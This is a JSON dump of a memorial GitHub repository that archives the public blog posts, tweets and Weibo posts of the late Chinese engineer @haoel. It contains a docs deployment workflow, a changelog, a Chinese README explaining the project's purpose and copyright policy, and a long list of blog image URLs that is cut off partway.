[
  {
    "path": ".github/workflows/static.yml",
    "content": "name: static \non:\n  push:\n    branches:\n      - main\n\n  workflow_dispatch:\n\npermissions:\n  contents: write\n\njobs:\n  deploy:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v3\n      - uses: actions/setup-python@v4\n        with:\n          python-version: 3.x\n      - run: echo \"cache_id=$(date --utc '+%V')\" >> $GITHUB_ENV \n      - uses: actions/cache@v3\n        with:\n          key: mkdocs-material-${{ env.cache_id }}\n          path: .cache\n          restore-keys: |\n            mkdocs-material-\n      - run: pip install \\\n          mkdocs-material \\\n          mkdocs-include-dir-to-nav \\\n          pymdown-extensions\n      - run: mkdocs gh-deploy --force\n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "# 更新日志\n\n## 2023-05-17\n\n### 新增\n\n- 在[静态站](https://ghostincoolshell.github.io/haoel-articles/)上增加到酷壳镜像站 https://coolshell.org 的链接。感谢 [@chenshuo](https://github.com/chenshuo)\n\n## 2023-05-16\n\n### 新增\n\n- [酷壳](https://coolsheel.cn) 的文章图片。感谢 [@kaiix](https://github.com/kaiix)\n- 通过 Github Page 生成了[静态站](https://ghostincoolshell.github.io/haoel-articles/)。感谢 [@kaiix](https://github.com/kaiix)\n\n### 修复\n\n- 修复了由于文件名中的字符导致在 Windows 下无法 clone 的问题 (#13, by [@kaiix](https://github.com/kaiix) and [@hongqn](https://github.com/hongqn))\n\n## 2023-05-15\n\n### 新增\n\n- 通过 RSS 接口获取了[酷壳](https://coolshell.cn) 的文章数据，并提供了 XML、HTML、Markdown 三种格式。 感谢 [@zyqzss](https://github.com/zyqzss)\n- 从 https://github.com/yihong0618/twint 复制了 @haoel 的 tweets 数据。感谢 [@yihong0618](https://github.com/yihong0618)\n- 半年内的可见微博数据 (by [@hongqn](https://github.com/hongqn))\n"
  },
  {
    "path": "README.md",
    "content": "# Ghost in the coolshell\n\nThe public articles / tweets / microblogs published by or related to @haoel\n\n## 为什么要做这个项目\n\n2023 年 5 月 13 日晚，@haoel (左耳朵耗子) [因突发心梗辞世](https://twitter.com/ghosTM55/status/1657946836643241985)。\n\n@haoel 是一名杰出的技术专家和导师，也是一位独立思考的品德高尚的人。他的文章、分享、推特、微博等让一批又一批的人获益，我们也是其中之一，对这位良师益友的离开倍感痛心。觉得同为技术人，应当为他做点什么来纪念。\n\n在他离世之前的几个月，正是很可能未来会成为人类技术史上最重要的时刻之一，人工通用智能（AGI）的崛起已经初现端倪。 @haoel 在生前也对 AI 技术的发展[感到欢欣鼓舞](https://twitter.com/haoel/status/1645796016116080640) ，甚至发起过一个关于数字生命的[故事接龙](https://twitter.com/haoel/status/1648737026613862400) 。有理由相信，拥有技术魂的耗子，是会希望看到自己的知识可以通过 AI 技术让更广泛的受众受益的。也许他认为当前的 AI 技术还不够成熟，会觉得这类所谓的“数字分身”是无意义的幼稚行为，但我们觉得，他会相信未来有一天这个技术会成熟到真正可用，产出真正的价值。\n\n为了那天到来的时候，我们能够把我们敬重的 @haoel 通过 AI 技术复生，甚至，为了那天早日到来，我们现在就应该尝试和探索以推进技术发展，我们觉得有必要保留住耗子在这个互联网时代留下的印迹数据，以免随着时间而消逝不见。让所有有心使用技术来让他的遗产持续发挥价值的人，可以有一个出发点。\n\n很令 @haoel [触动](https://twitter.com/haoel/status/1345760008277954562)的动画片[《寻梦环游记》](https://movie.douban.com/subject/20495023/)里说：“也许我们无力阻挡时间的流逝，我们也必将与家人与爱人生死相隔。但死并非生的对立面，而是作为生的一部分永存，人类的记忆，便是对灵魂的延续。” 我们希望通过这个项目，让左耳朵耗子的灵魂能够以一种他也会认为很 cool 的方式，更久的延续。这也是为什么这个项目的名字叫做 Ghost in the coolshell 。\n\n## 你这是在蹭热度吃人血馒头吗？\n\n犹豫再三，还是加上了这一段。怎么说呢，清者自清。耗子在生前受到的种种质疑和毁谤也很多，但他选择无视，做自己认为正确的事。我们打算向他学习，不自辩。\n\n关于我们的行动是否侵害了 @haoel 的权益，我们会在项目开发流程中主动考虑版权问题，积极响应权益人的要求进行配合。如果确实造成了侵权行为，我们会及时纠正并承担责任。当前项目的负责人是 @hongqn 。\n\n## 收集哪些数据\n\n公开可访问的、允许转载的如下内容，或有明确授权的非公开内容：\n\n- @haoel 所发表的内容，如文章、幻灯、音视频、推文等。\n- 对理解这些内容所必要的上下文，例如推文的引用、回复对象等\n\n目前已经收集到的数据包括：\n\n- `blogs`: [酷壳](https://coolshell.cn) 的 blog 文章 (by [@zyqzss](https://github.com/zyqzss) and [@kaiix](https://github.com/kaiix))\n  - 可通过 https://ghostincoolshell.github.io/haoel-articles/ 访问使用 GitHub Pages 托管的静态站。\n- `tweets`: [@haoel](https://twitter.com/haoel) 发表的 tweets (by [@yihong0618](https://github.com/yihong0618))\n- `weibo`: [@左耳朵耗子](https://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90) 发表的微博 (by [@hongqn](https://github.com/hongqn))\n\n欢迎通过 pull requests 贡献数据，或者通过 issues 讨论获取数据的方法。\n\n## 其它纪念项目\n\n- @haoel 创立的公司 [MegaEase](https://megaease.com/) 建立了收集纪念文章的仓库 https://github.com/megaease/Remembering-Haoel ，如果你想提交纪念文章，可以提交到这里。\n\n- [@bnu_chenshuo](https://twitter.com/bnu_chenshuo) 用 GitHub pages 建了一个镜像， http://coolshell.org\n\n## 数据的版权如何处理\n\n按照转载文章处理版权，如果内容源对于转载有明确要求的，仅在满足要求的情况下才进行收录。\n\n对于无明确转载要求的内容，在明确记录来源的前提下进行收录。如果后续有版权所有人要求删除，会及时删除。\n\n对版权所有人：请发起 issue 说明要求。\n\n需要注意的是，允许转载并不意味着允许使用这些内容进行二次处理（如训练 AI 模型）。因此，使用这些数据进行创作的人，请自行判断是否侵权。本项目不承担连带责任。\n\n## 未来的规划\n\n短期目标是尽可能全面的收集汇聚 @haoel 的相关内容。\n\n长期目标 T.B.D. 欢迎大家发起讨论。\n\n## 项目的组织和沟通遵循的原则\n\n与 @haoel 一样，我们是开源协作的信徒。本项目将基于 GitHub 开展远程协作，所有的沟通公开、透明、可追溯。需要的时候引入更多的好的协作工具，这类工具 @haoel 推荐过不少。\n\n如果有必要，我们还会尽可能使用自动化工具来提高工作效率。希望耗子的英年早逝能够提醒大家注重健康，安排好作息和锻炼，不要熬夜。使用合适的工具来提高效率，而不是靠堆砌时间。\n\n## 有兴趣的人如何参与\n\n从发起 issue 或者提交 pull request 开始吧。可以是讨论如何抓取某一类内容，也可以是提交一篇好内容入库。\n"
  },
  {
    "path": "audios/.gitkeep",
    "content": ""
  },
  {
    "path": "blogs/README.md",
    "content": "[酷壳](https://coolshell.cn) 的 blog 文章\n\n- `rss`: RSS 接口返回的 XML\n- `rss2html`: 从 RSS XML 剥离的 HTML\n- `rss2html2markdown`: 从 HTML 转成的 markdown 格式\n\nContributed by [@zyqzss](https://github.com/zyqzss).\n\nNote: [@chenshuo](https://github.com/chenshuo) 制作了一个几乎完美的酷壳网站镜像（[仓库地址](https://github.com/chenshuo/coolshell)），如果源站已经无法访问，请访问 [https://coolshell.org](https://coolshell.org) 重温。\n"
  },
  {
    "path": "blogs/imgURLs_in_rss.txt",
    "content": "http://9tricks.com/wp-content/uploads/HLIC/0a9da228f5264becdc2aac4296776f35.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/2c3645511db61a6d2c008aacf5d1b5d3.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/4996deb5bbd70cc8d71bc51ec8954385.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/62922536936df5e7c844afa1e86cb606.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/670a6412233b77ecbccf70047b6d75ac.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/7c8a1d7b798d4a2d919eb83a792b71f0.jpg\nhttp://9tricks.com/wp-content/uploads/HLIC/a999b2c5c2b62e523654a43d8f2d379b.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/b959949728d1df1f380f68fdd30a345a.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/c995589668f5cafebb326f51458507fd.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/d593bc2e237bc06e6f28e7ccf999eb2b.jpg\nhttp://9tricks.com/wp-content/uploads/HLIC/e89c0f8090dfdf15f02ca59ca26790d1.gif\nhttp://9tricks.com/wp-content/uploads/HLIC/ef8e08b0a9bf0ff831ac0b5078d74115.jpg\nhttp://9tricks.com/wp-content/uploads/HLIC/f049f6dba56c3ff488dcf9d0dba9181a.gif\nhttp://asset1.cbsistatic.com/cnwk.1d/i/tim/2012/03/07/spacemonkeyHW_270x283.JPG\nhttp://blog.inetu.net/wp-content/plugins/wp-spamfree/img/wpsf-img.php\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-1.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-10.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-11.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-12.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-13.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-14.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-15.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-16.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-17.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-18.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-19.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-2.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-20.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-21.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-3.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-4.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-5.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-6.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-7.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-8.jpg\nhttp://blog.insicdesigns.com/wp-content/uploads/2010/09/canvas-9.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_IntentionalTech_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_NeatTools_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_alice_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_app_arcgis_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_app_inventor_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_appmaker_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_automator_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_blockly_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_bounce_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_copper_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_drakon_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_etoysqueak_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_field_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flohub_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flowstone_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_flstudiopatcher_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_godot_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_hopscotch_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_hypercard_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_ifttt_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_illumination_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_jeskolabuzz_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_jforex_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_kimono_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_kodu_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_labview_02.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_ladderlogic_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lamdu_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lava_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_learnable_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lighttable_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_lily_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_limnorstudio_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_littlebig_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_minecraft_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_minibloq_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_morphic_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_mst_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nodebox_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_noflo_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nuke_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_nxt-g_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openmodelica_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openmusic_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_openwire_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_origami_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_piet_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_prograph_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_puredata_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_pwct_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_quartz_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_reaktor_01.gif\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_schemebricks_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_scratch_02.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_self_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sextante_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sikuli_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_simlink_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sketchpad_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_sqlintegration_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_stroycode_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_textit_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_touchdevelop_01.jpg\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_tydlig_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_udk_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vuo_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_vvvv_02.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_webdesigner_01.png\nhttp://blog.interfacevision.com/assets/img/posts/example_visual_language_winworkflow_01.png\nhttp://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/7462.image_5F00_thumb47_5F00_thumb_5F00_5577CEF9.png\nhttp://bugspy.net/site_media/images/logo.png\nhttp://chart.apis.google.com/chart?chs=200x125&cht=ls&chco=0077CC&chd=t:27,25,60,31,25,39,25,31,26,28,80,28,27,31,27,29,26,35,70,25\nhttp://chart.apis.google.com/chart?cht=p3&chd=t:60,40&chs=250x100&chl=酷壳|Cocre\nhttp://chart.apis.google.com/chart?cht=t&chs=440x220&chd=t:0,100,50,32,60,40,43,12,14,54,98,17,70,76,18,29&chco=FFFFFF,FF0000,FFFF00,00FF00&chld=DZEGMGAOBWNGCFKECGCVSNDJTZGHMZZM&chtm=africa&chf=bg,s,EAF7FE\nhttp://cl.ly/c4f966c6d51cfc9be20b/content\nhttp://codestriker.sourceforge.net/viewtopicdetail.png\nhttp://cs.simpson.edu/files/2011spring.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/animating_snow_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/array_backed_grid_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/bitmapped_graphics_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/bounce_ball_with_paddle_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/breakout_simple_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/functions_and_graphics_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/move_keyboard_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/move_sprite_mouse_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/move_with_walls_example_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/pygame_base_template_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/sample_games_vid.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/simple_graphics_demo_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_blocks_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_circle_thumb.png\nhttp://cs.simpson.edu/files/python_examples/screenshots/sprite_collect_graphic_thumb.png\nhttp://cycle.sourceforge.net/scr1_m.png\nhttp://d.wearehugh.com/dih5/johnny_automatic_planet_with_spyglass.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/14-tab-based-interface-techniques.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/30-scripts-for-galleries-slideshows-and-lightboxes-smashing-magazine1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/40-tooltips-scripts-with-ajax-javascript-css-smashing-magazine.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/9-javascripts-you-better-not-miss.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-accordion-navigation1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-animation-effects.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-autocompleter-scriptaculous-library.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-autocompleter.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-autosuggest-autocomplete-from-database.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-autosuggest1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-calendars.jpg\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-contact-form.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-css-flickr-like-editing-fields1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-datetime-toolbocks-intuitive-date-input-selection.jpg\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-dialogs-menus-grids-trees-and-views.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-dynamic-list.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-emprise-charts.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-floating-windows.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-form-validation.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-fvalidate.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-historymanager-pagination.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-image-preloader1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-inline-text-edit-20.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-instant-completion.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-instant-edit.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-key-events-signal.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-libraries-and-frameworks.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-lightbox-js.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-lightbox-sexy-box-thick-box.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-login-system-demo.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-motion-transition.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-newsletter-form.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-poller1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-pull-down-effect.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-resources.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-shopcart.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-sortable-tables.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-star-rating-bar.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-syntaxhighlighter.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-tab-module-closeable-implementation.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-table-sort-script-revisited.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-tablekit.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-tabs-content.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-tooltips-nice-titles-revised-blog-1976design1.gif\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-unobtrusive-popup-greybox.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-upload-form.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajax-web-controls.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/ajaxform.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/altering-css-class-attributes-with-javascript.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/amcharts-customizable-flash-pie-donut-chart.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/an-ajax-contact-form1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/chained-select-boxes.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/combination-effects-in-scriptaculous-wiki.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/data-grids-with-ajax-dhtml-and-javascript-smashing-magazine.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/disable-form-submit-on-enter-keypress.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/dragable-rss-boxes.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/draggable-content.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/dynamically-loaded-articles.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/dzone-snippets-store-sort-and-share-source-code-with-tag-goodness.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/fly-to-basket.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/grid3-example.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-a-collapsible-div-with-javascript-and-css1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-an-animated-sliding-collapsible-div-with-javascript-and-css.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/how-to-create-digg-comment-style-sliding-divs-with-javascript-and-css1.gif\nhttp://delimitdesign.com/wp-content/uploads/2009/02/hyperdisc-materials-javascript-top-10-automatic-breadcrumb-trail.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/javascript-top-10-most-useful-javascripts.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/max-kiesler-mhub-ajax-and-rails-examples-how-toe28099s.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/modalbox-e28094-an-easy-way-to-create-popups-and-wizards.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/mootabs-tiny-tab-class-for-mootools.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/my-favorite-javascripts-for-designers-blakems-com.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/novemberborn-event-cache.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/pj-hyett-the-lightbox-effect-without-lightbox.jpg\nhttp://delimitdesign.com/wp-content/uploads/2009/02/really-easy-field-validation.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/select-some-checkboxes-javascript-function.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/smoothgallery-mootools-mojo-for-images-full-gallery.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/top-10-custom-javascript-functions-of-all-time1.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/transparent-message.png\nhttp://delimitdesign.com/wp-content/uploads/2009/02/wforms.png\nhttp://demos.kendoui.com/styles/aeroviewr.png\nhttp://devimages.apple.com/technologies/tools/images/new_single_window20100721.jpg\nhttp://devsnippets.com/img/file-manager1.jpg\nhttp://devsnippets.com/img/file-manager2.jpg\nhttp://devsnippets.com/img/file-manager3.jpg\nhttp://devsnippets.com/img/file-manager4.jpg\nhttp://devsnippets.com/img/file-manager5.jpg\nhttp://devsnippets.com/img/file-manager7.jpg\nhttp://devsnippets.com/img/file-manager8.jpg\nhttp://ditaa.sourceforge.net/images/arrow_hor.png\nhttp://ditaa.sourceforge.net/images/bullet.png\nhttp://ditaa.sourceforge.net/images/color_codes.png\nhttp://ditaa.sourceforge.net/images/dashed_demo.png\nhttp://ditaa.sourceforge.net/images/document.png\nhttp://ditaa.sourceforge.net/images/io.png\nhttp://ditaa.sourceforge.net/images/logo.png\nhttp://ditaa.sourceforge.net/images/point_marker.png\nhttp://ditaa.sourceforge.net/images/round_corner.png\nhttp://ditaa.sourceforge.net/images/storage.png\nhttp://eclim.org/_images/gvim_eclim_view.png\nhttp://ecx.images-amazon.com/images/I/5176XS40F9L._SL500_AA300_.jpg\nhttp://educhoices.org/cimages/multimages/1/linux_tutorials.jpg\nhttp://epaper.bjnews.com.cn/images/2011-01/16/B13/b13116cb001.gif\nhttp://farm4.static.flickr.com/3353/4641055399_25688820a9_t.jpg\nhttp://farm4.static.flickr.com/3414/4641732162_e2b078825f_t.jpg\nhttp://farm5.static.flickr.com/4002/4650270228_8cc69948bc_t.jpg\nhttp://farm5.static.flickr.com/4008/4636427318_c84acf4aa4_t.jpg\nhttp://farm5.static.flickr.com/4012/4635820649_720cd6599b_t.jpg\nhttp://farm5.static.flickr.com/4029/4652540301_db50832fdc_t.jpg\nhttp://farm5.static.flickr.com/4042/4649663253_aa041ab239_t.jpg\nhttp://farm5.static.flickr.com/4044/4652540021_0f17294ca5_t.jpg\nhttp://farm5.static.flickr.com/4062/4640849748_0532451842_t.jpg\nhttp://farm5.static.flickr.com/4064/4641055019_6ed80cd1b9_t.jpg\nhttp://gnuu.org/wp-content/uploads/2009/09/ClassDiagram.png\nhttp://gnuu.org/wp-content/uploads/2009/09/pipeline.png\nhttp://highlyscalable.files.wordpress.com/2012/03/composite-key-index.png?w=594\nhttp://highscalability.com/storage/HSBannerTrebuchet.jpg\nhttp://i.imgur.com/4kQAz.jpg\nhttp://i.imgur.com/Bo3OC.jpg\nhttp://i.imgur.com/CJkR9.png\nhttp://i.imgur.com/QlGpd.gif\nhttp://i.imgur.com/c7ica.png\nhttp://i.imgur.com/cvVAa.jpg\nhttp://i.imgur.com/hgLYS.jpg\nhttp://i.imgur.com/jpDEK.jpg\nhttp://i.stack.imgur.com/JQXWL.png\nhttp://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image1.png\nhttp://ie.microsoft.com/testdrive/IEBlog/2011/Feb/affc-image2.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/01/image.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/01/image6.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/02/assoc_big_thumb1_opt.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/02/image.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/02/image2.png\nhttp://igoro.com/wordpress/wp-content/uploads/2010/02/image_thumb1_opt.png\nhttp://images.china-pub.com/ebook190001-195000/191946/zcover.jpg\nhttp://images.china-pub.com/ebook195001-200000/195040/zcover.jpg\nhttp://images.china-pub.com/ebook205001-210000/208978/zcover.jpg\nhttp://images.china-pub.com/ebook25001-30000/28310/zcover.jpg\nhttp://images.china-pub.com/ebook30001-35000/30979/zcover.jpg\nhttp://images.china-pub.com/ebook30001-35000/31157/zcover.jpg\nhttp://images.china-pub.com/ebook30001-35000/34825/zcover.jpg\nhttp://images.china-pub.com/ebook30001-35000/34838/zcover.jpg\nhttp://images.china-pub.com/ebook35001-40000/37364/zcover.jpg\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051039636.png\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/201106/201106042051069339.png\nhttp://images.cnblogs.com/cnblogs_com/weidagang2046/362318/o_conditional_update_1.PNG\nhttp://images.cnblogs.com/cnblogs